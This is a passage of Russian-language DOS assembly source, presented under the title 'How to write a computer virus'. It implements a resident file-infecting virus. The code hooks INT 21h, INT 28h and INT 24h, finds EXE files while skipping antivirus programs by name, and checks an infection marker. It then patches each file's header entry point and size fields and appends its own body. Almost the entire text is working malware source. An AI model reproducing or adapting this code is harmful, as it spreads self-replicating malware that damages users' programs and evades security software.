Как написать компьютерный вирус
;обработ-
mov sys_21h_ip,bx ;чику INT 21h...
mov bx,old_21h_2
mov sys_21h_cs,bx
push es ;Теперь мы
;скопируем его
cli ;в найденный ра-
;нее первый
mov es,first_psp ;в памяти PSP...
xor di,di
lea si,to_bios
mov cx,code_len
new_code: mov bl,byte ptr [si]
mov byte ptr es:[di],bl
inc si
inc di
loop new_code
sti
pop es
mov es,ax ;Копируем в
;память сам
xor di,di ;вирусный код...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
xor bx,bx ;Устанавливаем
;вектора
;прерываний на
;вирусные
mov es,bx ;обработчики ...
cli
mov di,084h ;Int 21h ...
mov word ptr es:[di],00h
mov bx,first_psp
mov word ptr es:[di + 2],bx
mov di,0a0h ;Int 28h ...
mov word ptr es:[di],0
mov es:[di+2],ax
sti
jmp fresh_input ;Установка виру-
;са в память за-
;вершена ...
infect: push cs ;DS = CS ...
pop ds
mov ax,ds ;TSR - коррекция
sub ax,10h ;DS ...
mov ds,ax
mov tg_infect,0
mov ah,2fh ;Получим текущую
int 21h ;DTA ...
mov es_dta,es ;И сохраним ее
mov bx_dta,bx
mov ah,1ah ;А теперь
;установим
lea dx,new_dta ;собственную DTA
int 21h
find_first:mov maska[0],'*' ;Расшифровка ма-
cmp word ptr cs:[0],9090h ;ски только в
je cs:fifa ;резидентном
mov maska[0],'a' ;режиме
fifa: mov ah,4eh ;Найдем первый
mov cx,00100110b ;файл ...
lea dx,maska
int 21h
jnc cs:r_3
jmp cs:restore_dta
find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc cs:r_2
jmp cs:restore_dta
r_2: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:r_3
jmp cs:restore_dta
r_3: mov cx,12
lea si,fn ;Сотрем старое
kill_name: mov byte ptr [si],0 ;имя в буфере
inc si
loop cs:kill_name
xor si,si ;И запишем новое
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0
je cs:check_name
mov byte ptr fn[si],al
inc si
jmp cs:copy_name
check_name:mov cx,4 ;Проверим имя на
lea si,name_1 ;принадлежность
call cs:search ;его антивирус-
cmp inside,1 ;ным программам
je cs:r_2
lea si,name_2 ;
call cs:search
cmp inside,1
je cs:r_2
lea si,name_3 ;
call cs:search
cmp inside,1
je cs:r_2
lea si,name_4 ;
call cs:search
cmp inside,1
je cs:r_2
lea si,name_5 ;
call cs:search
cmp inside,1
je cs:r_2
;
mov cx,3
lea si,name_6
call cs:search
cmp inside,1
je cs:to_r_2
open_file: mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...
int 21h
jnc cs:found_size
to_r_2: jmp cs:r_2
found_size:mov descrypt,ax ;Установим ука-
;затель в ко-
mov cx,word ptr [new_dta + 01ch] ;нец файла ...
mov dx,word ptr [new_dta + 01ah]
sub dx,1
sbb cx,0
call cs:setpointer
jnc cs:read_last
jmp cs:find_next
read_last: mov cx,1 ;Считаем послед-
lea dx,last ;ний байт ...
call cs:read
jnc cs:compar
jmp cs:close_file
compar: cmp last,'7' ;Индикатор зара-
;женности
jne cs:mmm
jmp cs:find_next
mmm: xor cx,cx ;Считаем заголо-
xor dx,dx ;вок EXE - файла
call cs:setpointer
jnc cs:read_head
to_next: jmp cs:find_next
read_head: mov cx,27 ;
lea dx,header ;
call cs:read ;
jnc cs:next_step ;
jmp cs:restore_dta ;
;Запомним :
;Значение IP
;файла ...
next_step: mov ax,word ptr header[14h]
mov old_ip,ax
;Значение CS
;файла ...
mov ax,word ptr header[16h]
mov old_cs,ax
;Значение SS
;файла ...
mov ax,word ptr header[0eh]
mov old_ss,ax
;Значение SP
;файла ...
mov ax,word ptr header[10h]
mov old_sp,ax
;Вычислим ...
mov ax,word ptr header[04h]
mov cl,5
shl ax,cl
cmp ax,0f000h ;Файл длиннее
;983040 байт ?
jna cs:good_size ;Нет !
jmp cs:find_next ;Да !
good_size: mov di,ax
sub ax,word ptr header[08h]
mov to_16h,ax ;Новое значение
;CS ...
mov ax,di
xor dx,dx
call cs:mover
mov f_seek_low,ax
mov f_seek_high,dx
cmp dx,word ptr [new_dta + 01ch] ;Файл содержит
;оверлеи ?
jl cs:to_next ;Да !
ja cs:not_ovl ;Нет !
cmp ax,word ptr [new_dta + 01ah]
jae cs:not_ovl ;Нет !
jmp cs:find_next ;Да !
not_ovl: add ax,vir_len
adc dx,0
mov bx,512
div bx
cmp dx,0
je cs:round
inc ax
round: mov to_04h,ax ;Новую длину
;файла в страни-
;цах ...
mov to_02h,dx
mov word ptr header[02h],dx ;И заполним эти-
;ми значе -
mov ax,to_04h ;ниями соответс-
;твующие
mov word ptr header[04h],ax ;поля заголовка
mov word ptr header[14h],0
mov ax,to_16h
mov word ptr header[16h],ax
mov word ptr header[0eh],ax
mov word ptr header[10h],to_new_stack + 96
mov sub_ds,10h
mov maska[0],'a'
xor dx,dx ;Запишем
xor cx,cx ;скорректирован-
call cs:setpointer ;ный заголовок
jc cs:close_file ;на диск ...
lea dx,header
mov cx,27
call cs:write
jc cs:close_file
mov dx,f_seek_low ;Установим ука-
mov cx,f_seek_high ;затель в файле
call cs:setpointer
jc cs:close_file
mov cx,2 ;Запишем начало
lea dx,end_file ;вируса ...
call cs:write
jc cs:close_file
lea dx,vir + 2 ;И остальную
mov cx,vir_len - 2 ;часть ...
call cs:write
close_file:xor ax,ax ;Закроем зара-
mov ah,3eh ;женный файл ...
mov bx,descrypt
int 21h
restore_dta: ;Восстановим DTA
push ds
mov ah,1ah
mov dx,bx_dta
mov ds,es_dta
int 21h
pop ds
exit_zarasa:
pop es ;И регистры ...
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf
iret ;Выходим ...
;-------------------------------------------------
; _______________________________________________
;| |
;| Напишем новые обработчики INT 21h и INT 24h |
;|_______________________________________________|
;-------------------------------------------------
to_new_21h equ $-vir
new_21h: jmp cs:start_21h
tg_infect db 0
start_21h: call cs:rest_code ;На всякий слу-
;чай восстановим
;промежуточный
;обработчик
;INT 21h ...
pushf
push di
push es
xor di,di ;Перехват
mov es,di ;Int 24h в
mov di,90h ;резидентном
mov word ptr es:[di],to_new_24h ;режиме
mov es:[di+2],cs
cmp ah,03bh ;Смена каталога?
jne cs:new_cmp_1
mov cs:tg_infect - 100h,1 ;Да - взводим
;триггер ...
new_cmp_1: cmp ah,00eh ;Смена диска ?
jne cs:to_jump
mov cs:tg_infect - 100h,1 ;Да - взводим
;триггер
to_jump: pop es
pop di
popf
db 0eah ;Переход на ста-
;рый обработчик
old_21h dw 0 ;INT 21h ...
old_21h_2 dw 0
;-------------------------------------------------
to_new_24h equ $ - vir
new_24h: mov al,3 ;Вернем програм-
;ме управление и
iret ;код ошибки ...
;-------------------------------------------------
;/***********************************************/